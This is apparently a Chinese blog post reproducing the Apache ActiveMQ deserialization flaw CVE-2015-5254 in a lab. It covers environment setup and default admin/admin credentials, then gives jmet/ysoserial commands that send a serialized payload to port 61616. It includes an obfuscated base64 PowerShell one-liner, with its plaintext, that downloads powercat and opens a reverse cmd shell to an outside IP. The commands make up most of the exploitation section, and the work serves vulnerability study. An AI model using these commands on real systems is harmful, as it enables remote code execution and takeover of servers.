前言
大佬们玩的漏洞都是我没见过的。学习一下~
漏洞成因
远程攻击者可借助特制的序列化的java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。
漏洞版本
Apache ActiveMQ 5.13.0之前的版本
漏洞搭建
在搭建环境的时候,出现了许多坑。大多为版本匹配的问题。
最后采用环境为:jdk 1.7、apache-activemq-5.11.0、server 2008
在安装java环境后,配置环境变量为
CLASSPATH
.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;
JAVA_HOME
C:\Program Files\Java\jdk1.8.0_172
PATH
%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin;
下载ActiveMQ5.11.0版本后解压,切换至目录bin\win64下,运行InstallService.bat。后运行activemq.bat启动activeMQ服务
下载地址 http://activemq.apache.org/download-archives.html
成功运行。查看端口可证明
访问一下activeMQ,默认密码admin/admin
可看到版本。
漏洞利用
1.构成(使用ysoserial)可执行命令的序列化对象
2.作为一个消息,发送给目标的61616端口
3.访问web管理页面,读取消息,触发漏洞
在kali里进行实验,下载 jmet-0.1.0-all.jar
再新建external文件夹
命令为
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "payload" -Yp ROME 172.16.222.197 61616
payload为执行系统的命令。这次使用powershell反弹cmd
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "powershell -exec bypass -encodedcommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHIAYQB3AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALwBiAGUAcwBpAG0AbwByAGgAaQBuAG8ALwBwAG8AdwBlAHIAYwBhAHQALwBtAGEAcwB0AGUAcgAvAHAAbwB3AGUAcgBjAGEAdAAuAHAAcwAxACcAKQA7ACAAcABvAHcAZQByAGMAYQB0ACAAIAAtAGMAIAA0ADcALgA5ADQALgA4ADAALgAxADIAOQAgACAALQBwACAAOAAwADgAMAAgAC0AZQAgAGMAbQBkADsA" -Yp ROME 192.168.203.137 61616
因为乱码问题,所以在powershell反弹cmd时使用了base64编码。
补充:base64编码过程如下
$text = "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 47.94.80.xxx -p 8080 -e cmd;"
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
EncodedText > bs64.txt
将生成的bs64.txt文件源码拷贝到command参数后面,即这次利用的payload
powershell -exec bypass -encodedcommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHIAYQB3AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALwBiAGUAcwBpAG0AbwByAGgAaQBuAG8ALwBwAG8AdwBlAHIAYwBhAHQALwBtAGEAcwB0AGUAcgAvAHAAbwB3AGUAcgBjAGEAdAAuAHAAcwAxACcAKQA7ACAAcABvAHcAZQByAGMAYQB0ACAAIAAtAGMAIAA0ADcALgA5ADQALgA4ADAALgAxADIAOQAgACAALQBwACAAOAAwADgAMAAgAC0AZQAgAGMAbQBkADsA
此时会添加一个队列,访问查看消息。
http://192.168.203.137:8161/admin/browse.jsp?JMSDestination=event
点击该消息,可成功反弹cmd。
参考资料
ActiveMQ:Exception occurred while processing this request, check the log for more information!
Windows下安装ActiveMQ
Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现